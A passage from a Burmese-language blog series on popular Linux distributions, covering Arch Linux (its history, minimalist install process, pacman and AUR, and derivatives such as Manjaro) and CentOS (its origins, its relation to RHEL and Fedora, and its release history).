သူ့ရဲ့ DVD image ထဲမှာထည့်သွင်းပေးထားပါတယ်။ SUSE Linux Enterprise နဲ့ OpenSUSE ရဲ့ ဆက်နွယ်ပုံက Red Hat နဲ့ CentOS နှစ်ခုရဲ့ ဆက်နွယ်ပုံနဲ့ မတူပဲနဲ့ တော်တော်လေးကို အဆင်ပြေတဲ့ workflow တစ်ခုပါ။ သို့သော်... သတိထားရမှာတစ်ခုက OpenSUSE မှာ အခြားသော distro တွေနဲ့ အများကြီးကွဲပြားတဲ့ YaST လိုမျိုး implementation နဲ့ Zypper လိုမျိုး package manager တွေကို အသုံးပြုထားပါတယ်။ Zypper ရဲ့ အနောက်မှာတော့ RPM ပါ။ ဒီနှစ်ထဲမှာတော့ စာရေးသူ စိတ်ထင်အရတော့... OpenSUSE ဟာ distrowatch မှာ တခေတ်ပြန်ထမယ်လို့တော့ ထင်ပါတယ်။ အထူးသဖြင့် web hosting company တွေတော်တော်များများဟာ CentOS ကိုအားကိုး ကြပါတယ်။ အခုလိုမျိုး Red Hat ရဲ့ CentOS ကိုအဆုံးသတ်လိုက်ပုံနဲ့တော့ OpenSUSE ဟာ ဖြစ်နိုင်စရာ အများကြီးရှိတဲ့ ရွေးချယ်စရာ တစ်ခုပါ။


# လူသုံးများ ရေပန်းစားသော GNU/Linux Distro များ အပိုင်း (၇)

**၇. Arch Linux**

Linux ဆိုတာကို နဖူးတွေ့ ဒူးတွေ့သိချင်တယ်။ Linux ရဲ့အလုပ်လုပ်ပုံ၊ တည်ဆောက်ပုံ၊ command syntax တွေကိုအသေးစိတ်သိချင်တယ်ဆိုရင်တော့ Arch Linux က မသုံးမဖြစ် သုံးရမည့် distro တစ်ခုဖြစ်ပါတယ်။ Linux ရဲ့mainstream တွေ ဖြစ်တဲ့ Red Hat နဲ့ Debian တို့ ကနေလည်းလုံးဝ ခွဲထွက်သွားတဲ့ distro တစ်ခုပါ။ Arch Linux ကိုတော့ မတ်လ ၂၀၀၂ ခုနှစ် မှာ ကနေဒါနိုင်ငံမှ Judd Vinet ဆိုတဲ့သူက CRUX ဆိုတဲ့ Lightweight distro တစ်ခုကို သဘောကျလို့ အဲ့လို ပုံစံတူ distro တစ်ခုကို အစကနေပြန်ပြီးရေးခဲ့တဲ့ distro ပါ။ Judd Vinet က ၁ရက်နေ့အောက်တိုဘာလ ၂၀၀၇ခုနှစ်မှာတော့ သူ့ရဲ့ Arch Project ကို Aaron Griffin ဆိုတဲ့သူကို project အတွက်အချိန်မပေးနိုင်လို့ထပ်လွဲပြောင်းပေးအပ်ခဲ့ပါတယ်။ CRUX ကလည်း mainstream ဖြစ်နေတဲ့ GNU/Linux တွေနဲ့ ဆင်မတူနေပဲ BSD လိုပုံစံ ဘက်ကိုပိုပြီး ယိုင်တဲ့ distro တစ်ခုပါ။ Lightweight ဆိုတဲ့အတိုင်း ပေါ့ပါးသွက်လက်အောင် အလုပ်ဖြစ်အောင် ရေးထားတာဖြစ်တဲ့အတွက် အရိုးရှင်းဆုံးဖြစ်အောင်လုပ်ထားပါတယ်။ Arch ရဲ့လက်သုံးစကား KISS (keep it simple, stupid) ဖြစ်ပြီးတော့ အဓိပ္ပာယ်ကတော့ ရိုးရှင်းအောင်ပဲထားပါပေါ့။ အခုနောက်ပိုင်းမှာခေတ်စားလာတဲ့ Minimalism နဲ့Simplicity ဆိုတဲ့ ideology ကိုလိုက်ထားတဲ့ distro တစ်ခုလို့ဆိုရမှာပါ။ Arch Linux ကတော့ rolling release ဆိုတဲ့ အချိန်နဲ့ အမျှ update တွေ upgrade တွေကိုပေးပါတယ်။ အဲ့ဒါကြောင့် သူ့ မှာ stable ဆိုတဲ့ edition မျိုးမရှိပါဘူး။ တခါ install လုပ်ပြီးတာနဲ့ လိုအပ်ရင် လိုအပ်သလို update လုပ်သွားရုံပါပဲ။ ပြဿနာတစ်ခုကတော့ stable ဖြစ်လား မဖြစ်လားဆိုတာတော့ သုံးကြည့်ပြီး ကိုယ့် hardware တွေနဲ့ အဆင်ပြေလား မပြေဘူးလားဆိုတာသိနိုင်တဲ့ သဘောပါ။ ကျွမ်းကျင်သူတွေအတွက်သာ ရည်ရွယ်ပြီးထုတ်ထားတဲ့ distro တစ်ခုဖြစ်ပါတယ်။ စတင်အသုံးပြုတွေအနေနဲ့ တော့ နည်းနည်းလေး စိတ်ရှုပ်ရမှာပါ။ Pacman ဆိုတဲ့ Package Manager ကိုအသုံးပြုထားပြီး Arch User Repository (AUR) ပေါ်မှာ လိုအပ်တဲ့ package တွေကိုစုစည်းပြီးတော့တင်ထားပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-ffd70812f5be0601cb82fe181c18171c75dec2bd%2Fbw_atwork_400x400.jpg?alt=media" alt=""><figcaption></figcaption></figure>

Arch Linux ကိုသုံးဖို့ကိုတော့ Linux ရဲ့ တခြား အလွယ်တကူ အသုံးပြုလို့ရမယ့် distro တွေကို စပြီးတော့ အသုံးပြုသင့်ပါတယ်။ ဒါမှမဟုတ်ပဲနဲ့တော့ Arch Linux ကို စပြီး install လုပ်ကတည်းက အခက်အခဲတွေရှိနိုင်ပါတယ်။ စပြီးတော့ install လုပ်ပြီဆိုတာနဲ့ Linux command တွေနဲ့စရပါတယ်။ root နဲ့ swap ဆိုတဲ့ partition တွေပေးဖို့ကိုလည်း command တွေနဲ့ပဲ disk manager တစ်ခုကနေလုပ်ရပါတယ်။ အဲ့ဒါတွေ အပြင် language ရွေးတာတွေ timezone ရွေးတာတွေကအစ cfg လို file တွေကို nano သို့မဟုတ် vim လို့ text editor တွေနဲ့command line interface (CLI) မှာ သွားပြီး ပြင်ရပါတယ်။ နောက်ပြီး ကိုယ်သုံးမယ့် package တွေကိုပဲရွေးပြီး pacstrap လို installation tool တွေကိုသုံးပြီးတော့ install လုပ်ရပါတယ်။ ထားပါတော့ ကိုယ်က desktop မလိုဘူး command ပဲသီးသန့် သုံးမယ်ဆိုရင် လည်း base system ကို install လုပ်ပြီးတော့သုံးလို့ ရပါတယ်။ install လုပ်နေတုန်းတော့ internet connection ရှိဖို့ လိုပါတယ်။ Arch ရဲ့ download ISO က minimal installation လောက်လုပ်ဖို့ ပဲပါတာပါ။ ပြောရရင်တော့ bootloader သက်သက်ကိုပဲထည့်ပေးလိုက်ပြီး ကျန်တဲ့ဟာတွေ အကုန်လုံးကို Arch ရဲ့ repository ကနေ ဆွဲယူ install လုပ်ရပါတယ်။ install လုပ်နေစဉ်ကိုယ်က Xfec တို့ Gnome တို့ လိုကိုယ်လိုချင်တဲ့ desktop environment တစ်ခုကို ရွေးချယ် install လုပ်လို့ ရပါတယ်။ တခုရှိတာက boot တက်ရင်တော့ CLI ကိုပဲအရင်တက်ပြီးတော့ ကိုယ်က desktop ကိုအသုံးပြုချင်တယ် ဆိုရင်တော့ သက်ဆိုင်ရာ command ကို အသုံးပြုပြီးတော့ desktop ကိုထပ်ပြီးခေါ်ရပါတယ်။ သူ့ ဟာသူ desktop ချက်ချင်းတက်အောင်လည်း ပြင်ယူလို့ ရပါတယ်။ အဲ့ဒါကြောင့် Arch ကို highly customizable လို့ ဆိုပါတယ်။ အဓိပ္ပာယ်ကတော့ ကိုယ်ကြိုက်သလောက် လိုသလို ပြင်ယူလို့ ရတယ်လို့ ဆိုတာပါ။ အဲ့ဒါကြောင့် Linux geek တော်တော်များများ Arch ကို ကြိုက်ပါတယ်။ Hacker တွေကကလည်း Penetration Test (Pen Test လို့အတိုကောက်ခေါ်ပါတယ်။) လို့ ခေါ်တဲ့ system security နဲ့network security ဘယ်လောက်လုံခြုံလဲ မလုံခြုံဘူးလဲလို့စမ်းသပ် နေရာမှာ Arch ကိုနောက်ပိုင်းမှာ သုံးကြပါတယ်။အခု နောက်ပိုင်းမှာတော့ BlackArch Linux လို့ ခေါ်တဲ့ distro တစ်ခုကို ethical hacking အတွက် hacking tool ပေါင်း ၁၆၀၀ လောက်နဲ့ လာတယ်လို့မကြာသေးခင်က ကြားသိရပါတယ်။ Kali Linux လို hacking အတွက် သီးသန့်ထုတ်တဲ့ distro ပုံစံမျိုးပါ။ Kali ကတော့ လက်ရှိ hacker တွေ သဘောအတွေ့ distro တစ်ခုပါ။ hacking tool တော်တော်များများ ကို နဂိုအတိုင်းထည့်ထားပေးထားတဲ့ distro တစ်ခုပါ။ Mr. Robot ဆိုတဲ့ TV Series တစ်ခုမှာတော့ Kali ကို လက်တွေအသုံးချပြီး hack နည်းပေါင်းများစွာကို ဖော်ပြပေးခဲ့ပါတယ်။ ရုပ်ရှင်ဆိုပေမယ့်လည်း အဲ့ဒီ Mr. Robot ကိုရိုက်တဲ့ ဒါရိုက်တာက နာမည်ကြီး hacker ပေါင်းများစွာရဲ့အကြံဉာဏ်ကိုယူပြီး တစ်ခန်းပြီး တစ်ခန်း command တွေကိုလက်တွေ့အတိုင်းသဘာဝကျအောင်ရိုက်ထားတဲ့အတွက် နည်းပညာဘက်တွေ လူတွေကတော်တော်လေးကြိုက်ကျပါတယ်။ အထူးသဖြင့် Linux အသုံးပြုသူတွေအတွက်တော့ လုံးဝကြည့်သင့်တဲ့ TV Series ပါ။ ကဲ… Mr. Robot ကြော်ငြာဒီမှာတော့ဒီလောက်နဲ့ရပ်လိုက်ပြီးတော့ Arch အကြောင်း ဆက်ချင်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-8c21679df3c862c47d6dd59546006260e807ee57%2FMRRobotGrayHead-Display.jpg?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-c1efb861193e514b044c3b9c32fd3599d4d24673%2Farch-768x593.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-145159c391f0dbe26a3356b8a0d66b738fbb10cc%2Fgnome-1024x768-768x576.png?alt=media" alt=""><figcaption></figcaption></figure>

**Arch Linux ရဲ့အားသာချက်များ**

Linux စပြီးအသုံးပြုသူတွေအတွက်တော့ အဆင်မပြေနိုင်ပေမယ့်လည်း အတွေ ့အကြုံရှိပြီးသား Linux user တွေအတွက်တော့ Arch ရဲ့ ကောင်းမွန်လှတဲ့ AUR တို့ABS တို့ Pacman တို့လို software management infrastructure တစ်ခုရှိပါတယ်။ Linux ကို တကယ့်ကို ရှုးသွပ်စွာ လေ့လာလိုတယ် ဆိုရင်တော့ Arch ကို ကိုယ်တိုင် install လုပ်ပြီး အချိန်အတိုင်းအတာတစ်ခုလောက်ထိ အသုံးပြုလေ့လာသင့်ပါတယ်။ အထူးသဖြင့် ethical hacking ဘက်ကိုလိုက်ချင်တဲ့သူတွေအတွက်တော့ မသုံးမဖြစ်သုံးသင့်တဲ့ distro တစ်ခုပါ။ နောက်ပြီး ကိုယ်လိုသလို သတ်မှတ်ချက်မရှိပဲ ပြင်လို့ရတဲ့ Arch ရဲ့ ထူးခြားမှုကတော့ BSD လို distro တွေနဲ့လည်းဆင်တူ ကျွမ်းကျင် Linux user တွေ အတွက်လည်း အကြိုက်တွေ့စေမယ့် စွမ်းဆောင်ရည်တစ်ခုဖြစ်ပါတယ်။ ဒါ့အပြင် Arch ရဲ့ wiki ကတော့ တော်တော်လေးကို စုံတယ်လို့ပြောရမလိုပါ။ Installation ကစလို့ customization အဆုံးကိုယ်လုပ်ချင်တဲ့ဟာအကုန်လုံးကို အဲ့ဒီ wiki ပေါ်မှာပြပေးထားပါတယ်။ မရှိတာဆို မရှိသလောက်ပြီးပြည့်စုံတဲ့ သူ့ရဲ့ wiki ရှိတာကြောင့် Arch ပြဿနာတစ်ခုခုတက်ရင် forum တွေ community တွေမှာ မမေးခင် Arch user တွေက RTFM လို့ ဆိုပြီး Arch wiki မှာအရင်ရှာဖတ်ကြည့်ပြီးပြီလားလို့ သတိပေးပါတယ်။ RTFM ရဲ့ အရှည်ကတော့ read the fucking manual ဖြစ်ပါတယ်။ ဆိုချင်တာကတော့ Arch wiki မှာအရင်ရှာဖတ်ပြီးသွားပြီးလား ဒီမှာမမေးခင်ကိုလို့ ပြောချင်တာပါ။ Pacman လို package manager အသုံးပြုထားတဲ့အတွက် dependency ပြဿနာလည်း တော်တော်နည်းအောင်လုပ်ထားပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-c119d2ca4454ba0e938ba39977030732b727237e%2Frtfm.jpg?alt=media" alt=""><figcaption></figcaption></figure>

**Arch Linux လိုဆင်တူတဲ့ distro များ**

Manjaro ဆိုတဲ့ distro ကတော့ Arch ကို အခြေခံထားပြီးတော့ Cinnamon ကို နဂိုအတိုင်း desktop အနေနဲ့ အသုံးပြုထားတဲ့ distro ဖြစ်ပါတယ်။ Arch Linux ထက်အများကြီး install လုပ်ရတာနဲ့ အသုံးပြုရတာလွယ်ကူတဲ့ distro ပါ။ Cinnamon အပြင် Enlightment, KDE, LXDE, MATE, Openbox, Xfec တို့ လို desktop တွေကို ရွေးပြီး အသုံးပြုလို့ ရပါတယ်။ Manjaro အပြင် Antergos (Gnome 3), ArchBang Linux (Openbox), Chakra GNU/Linux (KDE), Bridge Linux (Gnome, KDE, LXDE and Xfec), Parabola GNU/Linux, KaOS (KDE) တို့ လို Arch ကို အခြေခံထားတဲ့ Arch နဲ့ဆင်တူ distro တွေလည်းရှိပါတယ်။ Manjaro ကတော့ အခု နောက်ပိုင်းမှာ Linux အသုံးပြုတွေကြားမှာ နာမည်ရ လာပါတယ်။ သူ့ ကို Arch မသုံးခင် ကြားခံ အနေနဲ့ အသုံးပြုမယ် ဆိုရင်လည်း အဆင်ပြေပါတယ်။ စာရေးသူ စမ်းသပ်သုံးကြည့်တာတော့ Manjaro မှာသုံးတဲ့ command တွေက Debian နဲ့ Red Hat တို့ လို distro တွေက command တွေနဲ့ လုံးဝကို ကွဲထွက်လာပါတယ်။ နောက်ပိုင်းမှာတော့ DistroWatch ရဲ့ Top 10 မှာတောင်ဝင်လာနိုင်တယ်လို့ တချို့ ထင်ကြေးပေးထားကျပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-7fde7b7194373aab9b2032552393f1fdad4576b1%2Fmanjaro-1610-slide-xfce-welcome-1.jpg?alt=media" alt=""><figcaption></figcaption></figure>

**လက်ရှိ Arch Linux version/release**

လက်ရှိမှာတော့ Arch Linux က မကြာသေးခင်လေးမှထုတ်လိုက်တဲ့ version မှာတော့ 2019.09.01 ရောက်နေပါပြီ။ rolling release ရဲ့ သဘောအရ မကြာခဏ update ထွက်ပါတယ်။ update လိုက်လုပ်ရင်းနဲ့လည်း တခါတလေ compatibility ပြဿနာတွေကြောင့် boot မတက်တော့တဲ့အထိလည်းဖြစ်တတ်ပါတယ်။ နောက်ပြီး PC အဟောင်း Laptop အဟောင်းတွေမှာလည်း update အသစ်တွေက hardware အသစ်တွေအတွက် ရည်ရွယ်တာမို့ လို့ hardware compatibility ပြဿနာရှိနိုင်ပါတယ်။ အရမ်းမဟောင်းသေးတဲ့ စက်တွေအတွက်တော့ အဆင်ပြေနိုင်ပါတယ်။ သုံးထားတဲ့ kernel version ကတော့ 5.2.11 ဖြစ်ပါတယ်။


# လူသုံးများ ရေပန်းစားသော GNU/Linux Distro များ အပိုင်း (၈)

## **၈. CentOS**

၂၀၀၃ ခုနှစ်နှောင်းပိုင်းမှာ CentOS project ကို community project အနေနဲ့စတင်လိုက်ပါတယ်။ ဒီ project ကတော့ Red Hat ကနေခွဲထွက်လာတဲ့ အကောင်းဆုံး distro တစ်ခုကိုဖန်တီးနိုင်ကြောင်းကို သက်သေထူစေပါတယ်။ နောက်ပြီး Fedora လိုမျိုး Red Hat က sponsor ပေးထားတဲ့ project တစ်ခုဖြစ်ပါတယ်။ Fedora နဲ့ ကွာခြားချက်ကတော့ CentOS ကို Red Hat Enterprise Linux (RHEL) ရဲ့ ပုံတူကိုယ်ပွားလေးတစ်ခု အနေဖြင့်ပြောဆိုသတ်မှတ်ခဲ့ကြပါတယ်။ ၂၀၁၄ခုနှစ် အစပိုင်းမှာ Red Hat က CentOS ကို စတင် sponsor ပေးခဲ့တာဖြစ်ပြီး၊ RHEL မှာထည့်သွင်းထားသမျှ enterprise features တွေကို CentOS မှာထည့်သွင်းစေပြီး သူ့ရဲ့ downstream distro project တစ်ခုအနေနဲ့ ရပ်တည်စေခဲ့ပါတယ်။ Fedora ကတော့ test-bed project တစ်ခုအနေဖြင့်သာ သတ်မှတ်ထားဆဲပါ။ CentOS ဟာ RHEL ရဲ့ community-based re-branding လို့တောင်ပြောလို့ရပါတယ်။ RHEL ရဲ့ logo တွေ trademark တွေနေရာမှာ CentOS ကို community project အနေနဲ့ Red Hat က sponsor ပေးခဲ့တာလည်းဖြစ်ပါတယ်။ တကယ်တမ်းတော့ CentOS ဆိုတာမဖြစ်လာခင်မှာ သူ့ကို CAOS Linux ဆိုတဲ့ distro တစ်ခုကနေခွဲထွက်လာတယ်လို့ ဆိုပါတယ်။ အဲ့ဒီ CAOS Linux ကိုတော့ နိုဝင်ဘာလ ၂၀၁၄ ခုနှစ်လောက်မှာ အပြီးရပ်ဆဲလိုက်ပြီလို့ လည်း သိရပါတယ်။

တဖက်မှာလည်း CentOS ကို အထောက်အကူပြုစေမယ့် နောက်တစ်ခုက ဇွန်လ ၂၀၀၆ ခုနှစ်မှာတော့ Tao Linux ဆိုတဲ့ RHEL ကိုအခြေခံထားတဲ့ distro တစ်ခုကလည်း project ကိုရပ်ဆိုင်းဖို့ ဆုံးဖြတ်ခဲ့ပြီး CentOS ဆီကိုလာပြီးတော့ပေါင်းပါတယ်။ Tao Linux အသုံးပြုသူတွေကလည်း CentOS ဆီကို အလုံးလိုက်အရင်းလိုက် ပြောင်းလာကြပါတယ်။ အဲ့ဒါကြောင့် CentOS ရဲ့ community ကချက်ချင်းဆိုသလို ကြီးမားကျယ်ပြန့် လာတယ် လို့ စာရေးသူမြင်ပါတယ်။ community ကို အခြေခံပြီး စတင်ခဲ့ကြတဲ့ Linux distro တွေရဲ့ ထုံးစံအတိုင်း ၂၀၀၈ခုနှစ် ၂၀၀၉ ခုနှစ်လောက်မှာ project ကိုရပ်ဆိုင်းရမလိုဖြစ်ပြန်ပါတယ်။ အဲ့ဒီနောက်မှာတော့ CentOS ရဲ့ core developer တွေက project ကိုအသက်ပြန်သွင်းခဲ့ပါတယ်။ ဇွန်လိုင်လ ၂၀၁၀ ခုနှစ်မှာတော့ Debian လို distro မျိုးထက်တောင် ကျော်သွားခဲ့ပြီးတော့ web server နဲ့တခြား self-hosting service တွေမှာ နာမည်ရလာခဲ့ပြန်ပါတယ်။ အခုထိတိုင် RPM package manager ကိုနှစ်သက်တဲ့ sysadmin တွေက CentOS ကို နေရာတော်တော်များများမှာ တွင်တွင်ကျယ်ကျယ် အသုံးပြုနေတုန်းပါ။

အခုနောက်ပိုင်းမှာ Ubuntu ကိုလည်း CentOS နည်းတူ DEB ကိုနှစ်သက်တဲ့ သူတွေက အသုံးပြုတာကိုလည်း စကားချပ်အနေနဲ့ပြောပါရစေ။ Linux မှာတော့ ရွေးစရာများသည့်တိုင်အောင် support ကောင်းပြီး trustworthy ဖြစ်တဲ့ distro တွေကပိုပြီးတော့ အောင်မြင်တာကိုလည်း သတိထားမိကြမှာပါတယ်။ ဇန်နဝါရီလ ၂၀၁၄ ခုနှစ်မှာတော့ Red Hat က CentOS ကို sponsor လုပ်ဖို့ ကို တရားဝင်ကြေငြာလိုက်ပါတော့တယ်။ အဲ့ဒီလို Red Hat ရဲ့ sponsor ကြောင့်လည်း CentOS ကိုလူတွေပိုသိလာခဲ့ပါတယ်။ CentOS မှာလက်ရှိ ပါဝင်နေတဲ့ developer တွေက Red Hat ရဲ့ project တွေမှာလည်း ပါဝင်တာကြောင့် အဲ့ဒီ distro နှစ်ခုက ခွဲလို့ မရအောင် ကိုယ်ပွားလို ဖြစ်နေပါတယ်။ RHEL ကတော့ အခုချိန်ထိ software update နဲ့ product support ကို subscription လိုပုံစံမျိုးအနေနဲ့ ဆက်လက်ရောင်းနေဆဲပါ။ CentOS ကတော့လုံးဝ အခမဲ့ community ကိုမှီခိုထားတဲ့ distro ပါ။ အဲ့ဒီတစ်ခုပဲကွာပါတယ်။ ကျန်တာကတော့ CentOS လုပ်တာတွေကို RHEL ကလိုက်လုပ်တယ်။ RHEL လုပ်တာတွေကိုလည်း CentOS ကလိုက်ပြီးပြောင်းလဲနေတာကြောင့် အမွှာ distro လို့ တောင်ပြောရမှာပါ။ ဥပမာပြောရရင် CentOS ရဲ့ naming convention နဲ့ version control ကို နောက်ပိုင်းမှာ RHEL ကလိုက်ပြီး ယူသုံးပါတယ်။ point release ဆိုတဲ့ version အသေးလေးတွေထွက်လာတဲ့ပုံစံနဲ့နာမည်ပေးပုံကတော့ CentOS နဲ့ RHEL မှာအတူတူပါပဲ။ အဲ့ဒါတွေကြောင့်လည်း CentOS ဟာ Fedora လို Red Hat ရဲ့ sponsor ကိုရတာခြင်းတူသည့်တိုင်အောင် မျက်နှာသာပိုပေးခံရတဲ့ distro တခု ဖြစ်ခဲ့ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-8af0025362a462ed19ff537d19fa676985ee24de%2Fcentos-768x614.png?alt=media" alt=""><figcaption></figcaption></figure>

နောက်ပြီး CentOS ရဲ့ software package နဲ့ kernel က RHEL မှာသေသေချာချာစမ်းသပ်ပြီး တော်တော်လေးကို stable ဖြစ်ပြီဆိုမှ CentOS ဆီကိုရောက်တာပါ။ Fedora နဲ့ လုံးဝဆန့်ကျင်ဘက်ဖြစ်တာကတော့ CentOS ဟာ ဘယ်တော့မှ Linux နည်းပညာ အသစ်အသစ်တွေကို ချက်ချင်းယူမသုံးပါဘူး။ Stable ဖြစ်လား မဖြစ်ဘူးလားဆိုတာကိုတာ အရင်ကြည့်ပြီးတော့မှ CentOS ကလိုက်ပြောင်းတာပါ။ အဲ့ဒါကြောင့် အသစ်ထွက်ထွက်ချင်း CentOS မှာအဲ့ဒီ feature နဲ့ update ကို CentOS အသုံးပြုသူတွေ မရပါဘူး။ တော်တော်လေးကြာပြီးတော့မှသာ လိုအပ်ရင်လိုအပ်သလိုထည့်သွင်းပေးတာလည်း CentOS အသုံးပြုသူတွေ သိထားပြီးသားတစ်ချက်ပါ။ အဲ့ဒါကြောင့် CentOS ရဲ့ ပုံပန်းအသွင်က Ubuntu တို့ Mint တို့ Elementary OS တို့ Fedora တို့ လို မသွက်ပါဘူး။ တော်တော်လေးကို နောက်မှာပြတ်ကျန်နေရစ်ခဲ့ပါတယ်။ server အတွက်တော့ stable ဖြစ်ဖို့ သာလို တဲ့အတွက် CentOS ကနာမည်ကြီးပါတယ်။ အိမ်သုံး user တွေအတွက်တော့ CentOS ဟာတော်တော်ဟောင်းတဲ့ desktop ပုံစံမျိုးကိုသာရမှာဖြစ်တဲ့အတွက် RPM ကိုကြိုက်တယ်ဆိုရင်တော့ Fedora ကိုပိုပြီး အားပေးပါတယ်။ GNOME 2.x လို desktop မျိုးကိုကြိုက်တယ်ဆိုရင်တော့ CentOS ကအဆင်ပြေပါတယ်။ CentOS ရဲ့ GNOME 3 က GNOME 2.x ပုံစံကနေလုံးဝခွဲမထွက်သွားအောင် သတိထားပြီးသုံးထားပေးပါတယ်။ Linux ကို သုံးတာနည်းနည်း ကြာတဲ့လူတိုင်းနီးပါးက GNOME 2.x ကိုတော်တော်လေးကြိုက်ကြပါတယ်။ အဲ့ဒါကြောင့် CentOS ကို desktop အနေနဲ့သုံးကြပါတယ်။ CentOS ကတော့ security update နဲ့ support ကို ၁၀ နှစ်ထိပေးပါတယ်။ point release လို version အသေးလေးတွေကိုတော့ ၆လ ကနေ ၉ လတခါထုတ်ပါတယ်။ major release ကတော့ ခန့်မှန်းခြေ ၂နှစ်ကို တခါလောက်ထွက်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-46bb8b7d606add6a768a0b6dd35a9f41bf77a792%2Ffedora_redhat_centos_graphic-1024x724-768x543.jpg?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-f108c23211cf96d56857b95b6073880b4ac722e3%2FCentos-logo-light.svg_-768x259.png?alt=media" alt=""><figcaption></figcaption></figure>

တခုရှိတာက ဘယ်အချိန်မှာ Red Hat ရဲ့ sponsor ကရပ်သွားပြီး distro ကို ငွေကြေးအားဖြင့် အထောက်အကူမရှိရင် CentOS ရဲ့ အနာဂတ်ဟာ ဦးတည်ချက်ပျောက်သွားနိုင်ပါတယ်။ CentOS ဟာ Red Hat အတွက်တော့ external project တစ်ခုသာဖြစ်ပါတယ်။ နောင်တချိန်မှာ Red Hat ရဲ့ ဆုံးဖြတ်ချက်တစ်ခုဟာ CentOS ကို အများကြီး သက်ရောက်နိုင်စွမ်းရှိခဲ့ပါတယ်။ ဒါကတော့ Ubuntu လို သီးသန့် ရပ်တည်နေတဲ့ distro တွေနဲ့ ကွာခြားချက်ဖြစ်ပါတယ်။ Ubuntu ကအခုချိန်ထိတော့ ကိုယ်ပိုင်ရပ်တည်နေတဲ့ distro တစ်ခုပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-c2f6bbed7e0a151081d63ed347f06c3cd6357c16%2FAutomatic-Partitioning-768x432.png?alt=media" alt=""><figcaption></figcaption></figure>

### **CentOS ရဲ့ အားသာချက်များ**

CentOS မှာ package တွေ kernel တွေ ကို အခေါက်ခေါက်အခါခါ စမ်းသပ်ပြီးမှ ထုတ်တဲ့အတွက် stable အဖြစ်ဆုံး distro တစ်ခုဖြစ်ပါတယ်။ RHEL လို့ Enterprise အဆင့်ရှိတဲ့ free and open source ရတဲ့ distro လည်းဖြစ်ပါတယ်။ security update ကို ၁၀ နှစ်ထိအောင် အခမဲ့ပေးတဲ့ အတွက် တခါ install လုပ်ပြီးသွားလို့ stable မဖြစ်ရင်တောင် update ကို အနှေးနဲ့ အမြန်ရမှာဖြစ်ပါတယ်။ server သမားတွေကတော့ နောက်ပိုင်းမှာ CentOS ကို web server တွေ database server တွေလိုနေရာမှာအသုံးပြုတာတွေ့ရပါတယ်။

### **CentOS နဲ့ဆင်တူတဲ့ distro များ**

Scientific Linux, Springdale Linux, SME server, Rocks Cluster Distribution, Oracle Enterprise Linux တို့ ဖြစ်ပါတယ်။

### **လက်ရှိ CentOS ရဲ့ version/release**

CentOS က version 7 (1611)၊ 6.8 နဲ့ 5.11 တို့ ဖြစ်ပါတယ်။ ပထမတစ်ခုဖြစ်တဲ့ CentOS 7 (1611) ဆိုတာကတော့ major release အနေနဲ့ ၇ရက်နေ့ ဇွန်လိုင်လ ၂၀၁၄ခုနှစ်မှာ စတင်ထုတ်ခဲ့တာဖြစ်ပြီးတော့ လက်ရှိ 7 (1611) က major release 7၊ 16 ကတော့ ၂၀၁၆ခုနှစ်ကို ရည်ညွန်းပြီး 11 ကတော့ ၁၁လပိုင်း နိုဝင်ဘာလမှာ ထွက်လာတဲ့ version ဖြစ်တယ်လို့ ပြောချင်တာပါ။ အရင်က ၇နှစ် အခုတော့ ၁၀နှစ်ထိ update နဲ့ support ပေးထားတာဖြစ်တဲ့အတွက် အရင်ကထုတ်ထားတဲ့ version 6 ရဲ့ point release ဖြစ်တဲ့ version 6.8 ကို update အနေနဲ့ ပေးထားတာဖြစ်ပါတယ်။ ထိုနည်းတူ version 5.11 ကိုလည်း major release ရဲ့version 5 အတွက် point release ပေးထားတာဖြစ်ပါတယ်။ point release တွေမှာများသောအားဖြင့် အများကြီးသိပ်မပြောင်းသွားပါဘူး။ driver update၊ security patch နဲ့ bug fix တွေလောက်ကိုသာထည့်သွင်းပေးထားပြီးတော့ CentOS ရဲ့ major release တွေကို upgrade လုပ်မှ နောက်ဆုံး CentOS ကပေးတဲ့ feature အသစ် တွေကို ရနိုင်မှာဖြစ်ပါတယ်။

**စာကြွင်း။** ။ လက်ရှိမှာတော့ CentOS က version 7.6-1810 ကိုရောက်လာပါပြီ။ Release date ကတော့ ပြီးခဲ့တဲ့နှစ် ဒီဇင်ဘာလ (2018) မှာထုတ်တာဖြစ်ပါတယ်။

